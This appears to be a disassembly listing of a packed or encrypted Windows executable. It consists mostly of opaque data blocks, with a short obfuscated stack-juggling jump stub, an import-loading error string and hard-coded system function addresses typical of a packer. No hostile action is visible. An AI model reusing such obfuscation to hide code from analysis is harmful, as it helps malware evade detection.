		dd 0F977F1E9h, 0BC568FFh, 0E7E9064Bh, 68FFF977h, 64B0F3Ch
		dd 0F977DDE9h, 125B68FFh, 0D3E9064Bh, 68FFF977h, 64B1365h
		dd 0F977C9E9h, 3AA200FFh, 8B39AD93h, 38A41C22h,	8A32AF91h
		dd 39AB1D23h, 0F26AB290h, 4779D094h, 0F3CD64E0h, 0BB852C90h
		dd 77339A4Ah, 8CCD8C13h, 0A8FEC2E5h, 2ED94F1Ah,	30940AB1h
		dd 0C3E2C3C9h, 0CFD645Ah, 351485DCh, 6BF4901Ch,	0C92FD7B0h
		dd 0B0193819h, 0B7D35AF6h, 7401FA28h, 6BF2D3CFh, 8147D0Fh
		dd 0BD33EEEEh, 0A7AB6AF5h, 0EB54C2EBh, 69D6E871h, 7B006AF3h
		dd 611A5DAFh, 0C2F450B5h, 5135FBAFh, 0EBAF0BCEh, 0D59DBCC2h
		dd 3185h, 9B373700h, 0AFE97612h, 1ECF74B7h, 0A6C2A63Fh
		dd 0EC718239h, 186A4BC2h, 0E60D07FBh, 98074FFCh, 0C2EC6ADDh
		dd 957AA4DFh, 0FBB08A31h, 7C2h,	0F1E57000h, 57000008h
		dd 1671D64Fh, 371637AEh, 47F56D53h, 60C1FFDEh, 492DB4FCh
		dd 26ACD03Bh, 0E5AD450Eh, 53FA6ADBh, 0B82F7D15h, 77492D0Ch
		dd 0EACB520Ah, 0BAF272D4h, 0BADEBADEh, 30447625h, 0E97657C9h
		dd 0C9304432h, 305E969Fh, 502641B3h, 0BCA63971h, 1DCF73E4h
		dd 7B3AA53Ch, 7DC2EBA4h, 5BF2719h, 2083BD9Ch, 0A38FF4BCh
		dd 0AFBF46BEh, 38EFFBh,	375D0000h, 4876129Bh, 9BFF66DEh
		dd 30945504h, 765776C9h, 37C55A3Eh, 96CF749Fh, 0C8A1D3B7h
		dd 0FC852AE7h, 62FD642Ch, 0C2EC2BB3h, 6FD45E25h, 0FBB04AF7h
		dd 0E33Ch, 0D64F8E00h, 5FC9F76Eh, 7C187CE5h, 309438E3h
		dd 5D1C83C9h, 6EC93094h, 5018394Fh, 0D64FF56Eh,	6BD67BE8h
		dd 0E679D0F1h, 0C930990Fh, 0B019CB38h, 56B0158Eh, 0BFC29CEEh
		dd 31C2C25Eh, 23CF8910h, 8EEA8EEAh, 0E9153B0h, 0C92FAD4Bh
		dd 8A155D7Ch, 0CF73AFC0h, 0C7812809h, 0B886E22Bh, 2D0C9547h
		dd 269E0165h, 0A7C93257h, 6ADCE286h, 44A09EFAh,	0A72CF280h
		dd 0AEF63BF0h, 17714FE6h, 1ADD08ADh, 52CB7DE1h,	0AD1C6h
		dd 0AA127000h, 1BC93D03h, 0A8148CB2h, 1AC23F01h, 0A91B8DB3h
		dd 2FA2200h, 0B78920A4h, 33D9450h, 0AB953CA0h, 67238A3Ah
		dd 8ADD9C03h, 0B8EEC2E5h, 6BD94F0Ah, 45F46B0Fh,	86C93094h
		dd 2246EFA7h, 0A53CA81Ch, 91F2CC84h, 7A1E7AD3h,	0BBB98508h
		dd 801FCD7Ah, 0C93003D9h, 299BD3F2h, 76129B37h,	6F36012h
		dd 3ACCAD5h, 3646D44Bh,	0F587CF74h, 0D44C0E86h,	0E77E5FAEh
		dd 0EBEDBD78h, 26D946C2h, 0EBED02B9h, 0CBEACBC2h, 0F2A93652h
		dd 0DBC2EBECh, 0E15BC4FAh, 111D6678h, 1B077C3Bh, 0B00CCE36h
		dd 0FE2153FBh, 33ADDC09h, 0B8005018h, 0B2000000h, 0A6ED64Fh
		dd 980FCC34h, 0B594B52Ch, 0EFA71D8Bh, 66DE4876h, 999560FFh
		dd 45BEC930h, 6C52369Fh, 3F0149F3h, 447A1EC6h, 5C0060DDh
		dd 5CC5E4C5h, 7FE5437Dh, 168FC7E6h, 1175C050h, 0A8D2463h
		dd 0F8B09A29h, 8449039Ch, 0A180CF74h, 6BA24E08h, 2823900Fh
		dd 0F9D8C933h, 29DF99Dh, 0C92DE057h, 6214C838h,	0D3350B43h
		dd 2086B811h, 45DA01A4h, 53CA7DE1h, 9A9C7h, 2BA2800h, 0B33195ABh
		dd 0BC241Ah, 0B22A97A9h, 1C3251Bh, 0BAA28AA8h, 0F31984Ch
		dd 0BB852C98h, 33D9448h, 0CF8B22A2h, 8A8534ABh,	1046C2E5h
		dd 6BD94FA2h, 0DD87FCC2h, 0A61E87B9h, 15F547EEh, 9E07BD2Bh
		dd 5CC9F7BFh, 0D64F71E8h, 0EA1F103Dh, 55CA6AE8h, 0C92F9EA6h
		dd 6270627h, 20E71CAFh,	5610590h, 1D56D177h, 0C8802537h
		dd 745B8957h, 0D7BAC8CFh, 0A9DA2D06h, 4F971C50h, 9D8803Dh
		dd 320C6828h, 0AB8A13D1h, 70987CE3h, 4DE56CB1h,	653BA4C0h
		dd 0A41FF347h, 0B65A1C85h, 80841B7Fh, 5D25B299h, 0BD26187Ch
		dd 0F4CAAE07h, 6D4CD58Fh, 25AA1B25h, 0A79900BCh, 83A28341h
		dd 61F48726h, 30A43DD2h, 8E2h, 0F0590361h, 47EE56CEh, 0FA530979h
		dd 48E15BC4h, 0FD541076h, 81E755DFh, 0F1546AC3h, 7DE4DA73h
		dd 0DB4876DFh, 0E084C069h, 0E589BC7Fh, 0E95B0DC2h, 0F76ED64Fh
		dd 0F09421B1h, 74C7916Fh, 0F486E2CFh, 61934F45h, 0F2A93642h
		dd 0DBC2EC3Ch, 0E5C4B2FAh, 9844BF81h, 0FB6B5531h, 3CE8930Ch
		dd 0C0E1C2ECh, 115978E1h, 9108B42Fh, 0EC3D4B0Eh, 950A6EC2h
		dd 0C2EC3CE6h, 118EC6E7h, 0C2EC4D66h, 1672BB57h, 3071E789h
		dd 5EC7E6C9h, 0E4410360h, 7DE39353h, 4BF86CF5h,	8A000008h
		dd 330DA418h, 86B811D3h, 350BA21Ah, 87B910CCh, 280AA321h
		dd 3AAA1C00h, 8A3AAD93h, 36A61D23h, 8044A19Fh, 96096D29h
		dd 0C2E588E3h, 3700B2E4h, 0E976129Bh, 0CF74B947h, 8735AA94h
		dd 1773F1Eh, 0C25DC43Fh, 0C2EC6F17h, 91B091B0h,	0B1E6C08h
		dd 40FC65E4h, 0E0136932h, 0B62E96A8h, 7229B6D2h, 5BC2EB96h
		dd 0A59B327Ah, 83E78341h, 0EB965D1Ch, 74F6EC2h,	0F83DD89Eh
		dd 9690039Ch, 6849C2EBh, 0EC58CFF1h, 66D64B75h,	200A71FFh
		dd 32F542Ch, 0C865AE16h, 0CC2A3275h, 0B62980A1h, 0C2EC76FFh
		dd 0B4D065F0h, 3FA6168Ah, 0AD32561Eh, 0C2EC7712h, 457BD2F3h
		dd 9EFA63E1h, 188143A0h, 1FEE7139h, 6EC2EC78h, 0B82C0915h
		dd 2B9BA50Ch, 84E3DDB9h, 307859C0h, 77CF36A9h, 0EE58C2ECh
		dd 70D1EF76h, 304B55CCh, 156E16E6h, 0CB82C09h, 1F301A68h
		dd 0B86E3DC4h, 781F59F0h, 12C45B3Fh, 0B3C2EC21h, 4A940B92h
		dd 0BA374D85h, 94F055C1h, 0A18FCF98h, 1D3h
		dd 129B3713h, 9C07E976h, 6746CF74h, 1CC83D03h, 0AA1A8BB5h
		dd 384BAC33h, 0FE854A33h, 0B55EC734h, 23BDFEFh,	4AB98740h
		dd 0B2A0B92h, 0EE279CA2h, 8A2E40AEh, 61F8D952h,	0AE079027h
		dd 2F8DF4CAh, 0A81C88B6h, 79311031h, 67DDA47h, 0D0EE7756h
		dd 0D176EE73h, 7253CA72h, 0CAEBCA53h, 8E3690AEh, 813B6517h
		dd 98445BA7h, 6658F1B9h, 557002FDh, 38429B7Ch, 1F611887h
		dd 4B6A482Eh, 7B6CF36Ah, 0F5BAB8D5h, 89EDA48Eh,	0A7D46316h
		dd 0E75A64D5h, 0ECCDEC75h, 4BF6A99Eh, 460E72A9h, 3D590B78h
		dd 6921A303h, 299AA4C0h, 0E5BA61FEh, 3213D5A7h,	51B48A13h
		dd 0A2B0A93h, 5D077C42h, 0A0C4A0C4h, 0A7E57C3Fh, 0F36C4DD5h
		dd 0D5A7E548h, 269EA081h, 4E0627BEh, 4C286D08h,	49AC5A28h
		dd 1481A140h, 7418C35Ch, 90B1D5A8h, 3CA10739h, 0A23B1ACAh
		dd 0A0C451E4h, 0A874803Fh, 0C96041D5h, 4FD68EF7h, 54B21771h
		dd 9280990h, 8793E890h,	51CE39AAh, 0D5A874AAh, 8A230223h
		dd 0F1954FB4h, 8AE46483h, 0DD95C60Eh, 71730244h, 0E041A381h
		dd 147051F8h, 0A836D88Bh, 79D0F1D5h, 0FF66DE47h, 63FA62C1h
		dd 4BB789EDh, 0E8A344C2h, 6849B126h, 0E398D0F1h, 0BE69DA37h
		dd 0A7977A21h, 7253D5h,	0AEDFA839h, 933A1B56h, 158C38ADh
		dd 0BA8F0371h, 0FC845F37h, 0B5FD5FC2h, 0B7D364F3h, 72ED1C89h
		dd 0D5A7BBC7h, 99002100h, 73107BEBh, 3514337Fh,	0DF86197Dh
		dd 0E0D5A825h, 0EB5668C1h, 6849F36Eh, 9720B7F1h, 3CA997F3h
		dd 26A752CDh, 120D5A8h,	0D098B920h, 0A8269C4Fh,	474D3FD5h
		dd 0E794838Ah, 76572169h, 32E97612h, 9BD5A88Eh,	26110E9h
		dd 0D3F21B7Bh, 1580329Bh, 4F07BD2Bh, 0D94F1471h, 0F2D3F26Bh
		dd 8339A896h, 380662CBh, 0E88C15C7h, 3094C477h,	52405C9h
		dd 2E670B4Dh, 0B3102E4Ah, 0FB89A831h, 0DF33F5DBh, 0A33C74DFh
		dd 0CF747D8Dh, 37096D4Ch, 87B910CCh, 0FAC4A01Ch, 0E05CC489h
		dd 0E0795879h, 561089C1h, 881773BAh, 0C9305DB6h, 0CBAF3617h
		dd 8E3F3CB9h, 0EFA74438h, 3003C570h, 409A36C9h,	9711E1EFh
		dd 8DE9C8A3h, 743F7C12h, 0E5437DCFh, 0F9C75E7Fh, 0C07DD88Ch
		dd 747BA7AEh, 4D479EDh,	11730000h, 0C83C02ABh, 178BB51Ch
		dd 0CD320CA5h, 8EF8C66Fh, 0D35D7FD6h, 0EC45FF69h, 58F173D2h
		dd 0E841FB66h, 5EF76DD6h, 3AE17E1Ah, 93C2E585h,	2B1577C5h
		dd 0C63B05B7h, 78185E16h, 33D593Dh, 0E9763E9Eh,	0CF74C33Fh
		dd 8242A29Ch, 1C3251Bh,	3F1E6820h, 67B0C2A6h, 12DEA9DFh
		dd 0EC8571Fh, 8EC2EC55h, 60C429F5h, 95FBB070h, 0C8h, 0EE711527h
		dd 0C930942Bh, 56CF6DD4h, 1E200177h, 84A53CA8h,	94D453CCh
		dd 5F42C930h, 24400461h, 0EC73A61Ah, 0C930942Dh, 0D69EBF9Eh
		dd 4B9D397Fh, 57D33A1Bh, 0C9AD8C4Bh, 0A356C9ADh, 24C93082h
		dd 2FD24D05h, 0A8C93082h, 0B52E1089h, 1EE6025Ch, 0D3F2F683h
		dd 1D983C7Ah, 0C26F1D79h, 0D3C63C14h, 0D74EF66Eh, 9FD7F6h
		dd 0C92FCE61h, 13F5B7Ah, 0EE773FA5h, 2BB473D0h,	0C92FCE70h
		dd 0F0597859h, 0F3971EB6h, 2FCEC96Ch, 821B3AC9h, 300E5A1Dh
		dd 141E65C9h, 7EDE437Dh, 0C88EC6E7h, 8833AC2Ch,	45C9300Eh
		dd 1B2E6D04h, 1D3C4A17h, 30C7583Ch, 91C93019h, 0AA8B39AFh
		dd 42B8BCCEh, 0A39CF010h, 91D642EBh, 64000000h,	76129B37h
		dd 74B947E9h, 3EA786CFh, 0C120A500h, 82A3821Bh,	4ECB6D2Bh
		dd 6F0AB52Ah, 0EACBC2ECh, 0EE56B08Eh, 62DA4977h, 0B3FBDAFBh
		dd 6F01B52Ah, 760DC2ECh, 0D5DF47ACh, 51140838h,	0A6000000h
		dd 7014A137h, 30942CEFh, 57B18FC9h, 1D5574EDh, 0B7D34A6Bh
		dd 0EBA31989h, 5BF272D5h, 5A3E7B1Dh, 309462C5h,	5BC2E3C9h
		dd 30D411C4h, 5BC7BCC9h, 0C1A5F086h, 0F49C7B3h,	3C7495E7h
		dd 0D460C758h, 0C0E1C92Fh, 0D5330D69h, 0E9D7F66Fh, 3280C87Ch
		dd 0F76ED64Fh, 4BBB5CC9h, 153CA309h, 1D79D0F1h,	0F9C7FD6Fh
		dd 19864042h, 0C9303362h, 236B4A6Bh, 613CD65h, 53FD0866h
		dd 0BA254160h, 0CF745EC8h, 7B52D13h, 94B394Fh, 0E89FBDF2h
		dd 96D0928h, 0EC5AE396h, 8DC5E4C2h, 5ACC8B14h, 4DB5C2ECh
		dd 0DE4876EFh, 0A71FF66h, 6FD53320h, 0B1F6D7F6h, 97A960CAh
		dd 0D2CB52Fh, 77137345h, 5A20FBB0h, 92000000h, 17419B37h
		dd 0D58FF7ECh, 731F6D4Ch, 85E1C0A8h, 746E801Ah,	0F16849CFh
		dd 0EC5AA76Eh, 4EF650C2h, 0C67EE9D7h, 0DF407E5Fh, 6BDAE47Dh
		dd 5F4160F9h, 0A751FA24h, 2E602BBEh, 98E3A485h,	0A289FB8Eh
		dd 0FB6D500Dh, 3A1BC93Fh, 0B9209C04h, 7EE6D098h, 0B7FBAFC1h
		dd 0D2h, 6ED64F05h, 0E55FC9F7h,	63E1427Ch, 13C93907h, 87FCC25Bh
		dd 2187B9DDh, 531B3AA3h, 999265FAh, 4ABBC930h, 980D339Ah
		dd 976482Ch, 4C6DD74Ch,	25BCF4D5h, 2246CF63h, 74B223BDh
		dd 52CEF0CFh, 48D193F5h, 0F0D14869h, 9FBCCEB8h,	0E00B79DCh
		dd 9153B28Ch, 0A1082908h, 0A6C24BE7h, 327C3439h, 6CD5EBC9h
		dd 4869F0h, 0D335776h, 90B12894h, 2482BCD8h, 2BBF7AE5h
		dd 2908C92Eh, 299FA108h, 989D1EBBh, 7AE37DE1h, 1B5EEh
		dd 0EAE1400h, 0B72D99A7h, 1CC0201Eh, 0A6168BB5h, 6DD7310Fh
		dd 0DE3EE6C4h, 6B55FC68h, 0DFE148FCh, 6F51F864h, 0A3E74EF6h
		dd 82A158C7h, 7C2AC2E5h, 6BD94FCEh, 6AD2310Fh, 339AD2F3h
		dd 46FE6957h, 11D3300Eh, 9B370AB8h, 53E97612h, 0BACF749Fh
		dd 899A41DEh, 1233C2ECh, 8235AA33h, 0BC2EC89h, 82BC2597h
		dd 4038A123h, 5A1DEF3Bh, 0B410F521h, 41FBB0A8h,	0D1h, 6ED64FF3h
		dd 0E55FC9F7h, 9914E37Ch, 0C83DC930h, 0DF46781Ch, 0BA842D65h
		dd 0BF1D8449h, 0B141079Eh, 0CC55077Bh, 908437A8h, 6445C930h
		dd 9F006445h, 0CF74B201h, 0E48E1C0h, 2B4F2B62h,	0EC6E05B4h
		dd 0AF158EC2h, 39CF8D9h, 0C2EC6E58h, 7C185071h,	2BA2618h
		dd 1379D54Ah, 0D5F4C933h, 2EB1D5B1h, 0C92E116Bh, 780F7D5Ch
		dd 950CB61Ah, 8BFDC38Bh, 5058039Ch, 5071C92Eh, 80E6D871h
		dd 60F96BDBh, 59037F41h, 65C0E1C0h, 7DE1B5ECh, 0AB1D8910h
		dd 2A000000h, 93AD04B8h, 2618B133h, 95AB02BAh, 2719B02Ch
		dd 88AA03C1h, 9A4ABCA0h, 2A9A0D33h, 9646BD83h, 20A4013Fh
		dd 36A9CD89h, 0C2E58183h, 4FA01244h, 0FCC26BD9h, 1074DD87h
		dd 470FB52Eh, 0EE7115F5h, 0C930942Bh, 0BCCFBD9Ch, 0B5AD7A78h
		dd 41A29CD4h, 0BF241A83h, 9A056105h, 0C92F9BDFh, 0E89E46A0h
		dd 6E2881C9h, 0B02F4BC2h, 0CF7AA305h, 407EE7C6h, 0F6C861E3h
		dd 0D14ED78Dh, 148D37B5h, 57C46E15h, 0E1DF76EEh, 6759C084h
		dd 0E5DB42FAh, 645AC381h, 0B6DC45FFh, 93EB61CDh, 74D13EE8h
		dd 0FE6759F0h, 34BDF46h, 0F9000000h, 0D54FFB49h, 63C0FE67h
		dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h
		dd 5AC6F861h, 0E1457BE2h, 83EDFA63h, 2C8904ECh,	81E58924h
		dd 4C5h, 4ED8300h, 5C242C87h, 2BF268h, 241C8900h, 81E68956h
		dd 4C6h, 4EE8300h, 5C243487h, 55242C89h, 1163BF57h, 0E781382Fh
		dd 6C13CB5h, 2131E781h,	0E7816091h, 8B74D50h, 1123F781h
		dd 0FD8912F0h, 166CBB5Fh, 0EB3114BAh, 2C8B545Dh, 4C48324h
		dd 24348153h, 3A9A6EA9h, 5008458Fh, 8B8h, 81E80100h, 9A6EA930h
		dd 2C8B583Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5445C2
; ---------------------------------------------------------------------------
		db 0F2h
		dd 336B005Fh, 2D30EFDAh, 7A183783h, 4B1435B8h, 0FFC50306h
		dd 6AB83E0h, 286D8F66h,	9E20A667h, 7D640F41h, 94747274h
		dd 0FF4BB73h, 5ECE4470h, 1AAC2976h, 7B425676h, 650B705Dh
		dd 2FBC3559h, 0CC1EA624h, 0AA9EF50Fh, 0E84EB627h, 96148F79h
		dd 0E7B53303h, 42CC3E52h, 4102341h, 8F17D54Dh, 574DD563h
		dd 382FB71Dh, 0CE659B3Ah, 0A8B59F00h, 8EDE6823h, 73E29309h
		dd 8B998B26h, 46EA103Eh, 1D94FD45h, 14E87Eh, 0E0170000h
		dd 0DAD586D9h, 13DEF1F1h, 0CBD88493h, 0C9D9AD8Ch, 58F93F96h
		dd 0C081F18Bh, 5CFEh, 58A0Fh, 81660000h, 335FA2D7h, 0CE950DBh
		dd 76000000h, 0A93C1682h, 1139832Fh, 5FD1648Fh,	0F180C8Bh
		dd 0D8Bh, 8E900h, 6F2B0000h, 0EAB4530Ah, 0E9811184h, 3008EA72h
		dd 28C0Fh, 69B20000h, 96D9F181h, 0C181110Dh, 10DA480h
		dd 51D68B66h, 13E8h, 0F3B73D00h, 5D6186ADh, 6359D99Dh
		dd 0EE24AEF7h, 0AA22FFD2h, 8F5FD38Ah, 0E9601804h, 6, 3FEEFB05h
		dd 830F8BF8h, 5, 908D5FBAh, 0EB83614Eh,	0F7816602h, 4B4BEAF6h
		dd 10BE6651h, 0FB815AD5h, 0FFFFA3F4h, 0F850Fh, 0B70F0000h
		dd 2AE9F9h, 60350000h, 0B826BC44h, 0E86060C1h, 0Ah, 63320C4Ch
		dd 2EC42046h, 665E30E4h, 7EB0EB81h, 4DE96161h, 7FFFFFFh
		dd 290673D0h, 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h
		dd 6F727245h, 61682072h, 636F2073h, 65727275h, 68772064h
		dd 20656C69h, 64616F6Ch, 20676E69h, 6F706D69h, 737472h
		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 7, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 6, 0C706E148h, 63921DF4h, 8F96A6CFh,	345146EFh, 0B11C1311h
		dd 761E4335h, 2B616642h, 0F29E3572h, 321177A9h,	0C790EF88h
		dd 0BF132246h, 74BD29BFh, 69C69917h, 17A8E5D0h,	3213224Fh
		dd 61457156h, 321177A9h, 0C790EF88h, 0BF132246h, 74B058BFh
		dd 69C69917h, 0B1D5EDD0h, 7903CCF9h, 0B61A6624h, 32156601h
		dd 3068E305h, 0E2EA600Fh, 30B8E3AFh, 0E2EA605Ah, 30FCE34Eh
		dd 5A436000h, 0AEBDDE70h, 25FCD3EEh, 0B79860CCh, 345211EBh
		dd 0B79CB6DDh, 34515628h, 256FE305h, 0BF45600Fh, 79033DA7h
		dd 0A7EA3617h, 34517A89h, 3E68E383h, 32156066h,	0B7D36611h
		dd 34516461h, 5B7C0E01h, 87EAE850h, 34514B6Ch, 870E305h
		dd 0E2EA6000h, 2C38E3ABh, 0B7D36055h, 34516461h, 594B0E07h
		dd 87EAFA45h, 34514B6Ch, 870E305h, 0E2EA6000h, 2487E3ABh
		dd 0B7D3605Ah, 34516461h, 5A3C0E10h, 87EA8840h,	34514B6Ch
		dd 870E305h, 0E2EA6000h, 2483E3ABh, 0B7D3605Ah,	34516461h
		dd 0AD70E01h, 87EABC42h, 34514B6Ch, 870E305h, 0E2EA6000h
		dd 248FE3ABh, 8F96605Ah, 34514999h, 77906944h, 0F4156622h
		dd 76178F94h, 0B47D238Eh, 0CDEF463Ah, 76381B97h, 5790EB17h
		dd 0CD1322B2h, 0AC90EF94h, 0F4132D34h, 76178F94h, 0F17D2A8Eh
		dd 0CDF54094h, 76381B97h, 5790EB17h, 0CD1322B2h, 9090EF94h
		dd 0DB132D34h, 32156651h, 30FCE34Eh, 5A476000h,	8E5F822Fh
		dd 3B10D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh, 345E708Fh
		dd 30FCE34Eh, 5A476000h, 94592C6Ah, 3B10D3EEh, 0B79860CCh
		dd 34515C21h, 0B79CB6DDh, 345E70B3h, 30FCE34Eh,	5A476000h
		dd 0CF57D2C8h, 1F68D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh
		dd 34517314h, 30FCE34Eh, 5A626000h, 0C182CE81h,	3C30D3EEh
		dd 0B79860CCh, 34515C21h, 0B79CB6DDh, 34514A24h, 30FCE34Eh
		dd 5A476000h, 0B8C85735h, 1F68D3EEh, 0B79860CCh, 34515C21h
		dd 0B79CB6DDh, 34514AE4h, 30FCE34Eh, 5A436000h,	0E60A0B1Bh
		dd 25FCD3EEh, 0B79860CCh, 345211EBh, 0B79CB6DDh, 34517C6Ch
		dd 30FCE34Eh, 5A526000h, 0B3C97658h, 1F68D3EEh,	0B79860CCh
		dd 34515C21h, 0B79CB6DDh, 345171B8h, 30FCE34Eh,	5A526000h
		dd 0B81AD3C0h, 1F68D3EEh, 0B79860CCh, 34515C21h, 0B79CB6DDh
		dd 345E70D3h, 16F0DB0Bh, 3D156000h, 321337A6h, 0DB90A011h
		dd 7E13228Ah, 0E8098F2Ch, 4FA099FBh, 0BF13223Ch, 762F030Dh
		dd 0BBC59942h, 7903C8A7h, 0DB90A017h, 7E13228Ah, 46CBA82Ch
		dd 4FA099FFh, 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903D4A7h
		dd 0DB90A017h, 7E13228Ah, 0B397592Ch, 4FA09995h, 0BF13223Ch
		dd 762F030Dh, 0BBC59942h, 7903D0A7h, 0DB90A017h, 7E13228Ah
		dd 1D557E2Ch, 4FA09991h, 0BF13223Ch, 762F030Dh,	0BBC59942h
		dd 7903D0A7h, 0DB90A017h, 7413228Ah, 0EC13722Ch, 4FA09998h
		dd 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903D8A7h, 0DB90A017h
		dd 7513228Ah, 0EE051C2Ch, 4FA099A3h, 0BF13223Ch, 762F030Dh
		dd 0BBC59942h, 7903A0A7h, 0DB90A017h, 7513228Ah, 0B59BCA2Ch
		dd 4FA099CDh, 0BF13223Ch, 762F030Dh, 0BBC59942h, 7903ACA7h
		dd 0DB90A017h, 7513228Ah, 0A8B2B42Ch, 4FA099F6h, 0BF13223Ch
		dd 762F030Dh, 0BBC59942h, 7903A8A7h, 0DB90A017h, 7513228Ah
		dd 0F32C622Ch, 4FA09998h, 0BF13223Ch, 762F030Dh, 0BBC59942h
		dd 7903B4A7h, 97A8E517h, 32132288h, 0B7D34631h,	345164CBh
		dd 1F720E56h, 87EA86FAh, 34514B39h, 870E3AFh, 0E2EA6055h
		dd 24C3E301h, 0B7D3600Fh, 345164CBh, 81A40E56h,	87EAE8A1h
		dd 34514B39h, 870E3AFh,	0E2EA6055h, 24CFE301h, 0B7D3600Fh
		dd 345164CBh, 78B20E52h, 87EAA6FEh, 34514B39h, 870E3AFh
		dd 0E2EA6055h, 24CBE301h, 0B7D3600Fh, 345164CBh, 5EFE0E5Dh
		dd 87EA9DEEh, 34516861h, 870E3AFh, 0E2EA6055h, 2567E301h
		dd 0B7D3600Fh, 345164CBh, 0BC400E55h, 87EADDFBh, 34514B39h
		dd 870E3AFh, 0E2EA6055h, 24F7E301h, 0B7D3600Fh,	345164CBh
		dd 5CE90E52h, 87EADA06h, 34514B39h, 870E3AFh, 0E2EA6055h
		dd 24F3E301h, 0B7D3600Fh, 345164CBh, 0CBF0E42h,	87EAA098h
		dd 34514B39h, 870E3AFh,	0E2EA6055h, 24FFE301h, 8F96600Fh
		dd 3451560Bh, 0D2916911h, 0F4156688h, 76178FC1h, 37D2024h
		dd 0CDEFF0DFh, 76381B3Dh, 5790EB42h, 0CD132218h, 7490EFC1h
		dd 0F4132D9Fh, 76178FC1h, 0E47D2024h, 0CDE9C12Bh, 76381B3Dh
		dd 5790EB42h, 0CD132218h, 6490EFC1h, 0F4132D9Fh, 76178FC1h
		dd 327D2024h, 0CD879AB5h, 76381B3Dh, 5790EB42h,	0CD132218h
		dd 6890EFC1h, 0F4132D9Fh, 76178FC1h, 587D2024h,	0CDE3B25Eh
		dd 76381B3Dh, 5790EB42h, 0CD132218h, 6C90EFC1h,	0F4132D9Fh
		dd 76178FC1h, 0D57D2024h, 0CD81AB41h, 76381B3Dh, 5790EB42h
		dd 0CD132218h, 7890EFC1h, 0F4132D9Fh, 76178FC1h, 97D2024h
		dd 0CDA44465h, 76381B3Dh, 5790EB42h, 0CD132218h, 7C90EFC1h
		dd 0F4132D9Fh, 76178FC1h, 0DF7D2024h, 0CDCA1FFBh, 76381B3Dh
		dd 5790EB42h, 0CD132218h, 6090EFC1h, 0B1132D9Fh, 7615C3F9h
		dd 12606624h, 30FCE3D7h, 5A4660CCh, 0FCAB861Ah,	1F68D3DDh
		dd 0B7986055h, 34515CEDh, 0B79CB6BBh, 345E70CCh, 30FCE3D7h
		dd 5A5260CCh, 0F5A438C3h, 1F68D3DDh, 0B7986055h, 34515CEDh
		dd 0B79CB6BBh, 345E70D0h, 32B0DB92h, 471560CCh,	0DB90A064h
		dd 75132220h, 506B6379h, 4FA0996Eh, 0BF132269h,	762F03A7h
		dd 0BBC59917h, 7903900Dh, 0DB90A042h, 71132220h, 481C9079h
		dd 4FA0991Ah, 0BF132269h, 762F03A7h, 0BBC59917h, 79039C0Dh
		dd 0DB90A042h, 71132220h, 13824679h, 4FA09974h,	0BF132269h
		dd 762F03A7h, 0BBC59917h, 7903980Dh, 97A8E542h,	32132222h
		dd 0B7D32664h, 34516461h, 9A160E07h, 87EAED22h,	34514B6Ch
		dd 870E305h, 0E2EA6000h, 2513E3ABh, 0B7D3605Ah,	34516461h
		dd 4C00E07h, 87EA8379h,	34514B6Ch, 870E305h, 0E2EA6000h
		dd 2517E3ABh, 0B7D3605Ah, 34516461h, 0F40E07h, 87EA8C88h
		dd 34514B6Ch, 870E305h,	0E2EA6000h, 251FE3ABh, 0B7D3605Ah
		dd 34516461h, 9E220E07h, 87EAE2D3h, 34514B6Ch, 870E305h
		dd 0E2EA6000h, 251BE3ABh, 0B7D3605Ah, 34516461h, 0A2C10E0Bh
		dd 87EAF117h, 34514B6Ch, 870E305h, 0E2EA6000h, 2507E3ABh
		dd 0B7D3605Ah, 34516461h, 3C170E0Bh, 87EA9F4Ch,	34514B6Ch
		dd 870E305h, 0E2EA6000h, 2503E3ABh, 0B7D3605Ah,	34516461h
		dd 4B5C0E09h, 87EAAE15h, 34514B6Ch, 870E305h, 0E2EA6000h
		dd 250BE3ABh, 0B7D3605Ah, 34516461h, 7F9C0E09h,	87EABAD5h
		dd 34514B6Ch, 870E305h,	0E2EA6000h, 250FE3ABh, 0B7D3605Ah
		dd 34516461h, 1F220E11h, 87EAFA39h, 34514B6Ch, 870E305h
		dd 0E2EA6000h, 2537E3ABh, 0B7D3605Ah, 34516461h, 0C23F0E07h
		dd 87EAB4F7h, 34514B6Ch, 870E305h, 0E2EA6000h, 2533E3ABh
		dd 0B7D3605Ah, 34516461h, 86FF0E16h, 87EA9B60h,	34514B6Ch
		dd 870E305h, 0E2EA6000h, 2710E3ABh, 0B7D36055h,	34516461h
		dd 6B8C0E03h, 87EA84BAh, 34514B6Ch, 870E305h, 0E2EA6000h
		dd 253FE3ABh, 0B7D3605Ah, 34516461h, 52D70E03h,	87EAD7DFh
		dd 34514B6Ch, 870E305h,	0E2EA6000h, 253BE3ABh, 0B7D3605Ah
		dd 34516461h, 0CC010E03h, 87EAB984h, 34514B6Ch,	870E305h
		dd 0E2EA6000h
		dd 2527E3ABh, 0B7D3605Ah, 34516461h, 0C07D0E1Bh, 87EAF872h
		dd 34514B6Ch, 870E305h,	0E2EA6000h, 2523E3ABh, 0B7D3605Ah
		dd 34516461h, 492A0E0Bh, 87EAA1DEh, 34514B6Ch, 870E305h
		dd 0E2EA6000h, 2577E3ABh, 0B7D3605Ah, 34516461h, 5C590E03h
		dd 87EA9C79h, 34514B6Ch, 870E305h, 0E2EA6000h, 2573E3ABh
		dd 0B7D3605Ah, 34516461h, 16D80E03h, 87EAA524h,	34514B6Ch
		dd 870E305h, 0E2EA6000h, 257FE3ABh, 0B7D3605Ah,	34516461h
		dd 52D90E1Bh, 87EAB299h, 34514B6Ch, 870E305h, 0E2EA6000h
		dd 252FE3ABh, 0B7D3605Ah, 34516461h, 665B0E1Bh,	87EAF8CBh
		dd 34514B6Ch, 870E305h,	0E2EA6000h, 252BE3ABh, 0B7D3605Ah
		dd 34516461h, 1A5D0E1Bh, 87EAB731h, 34514B6Ch, 870E305h
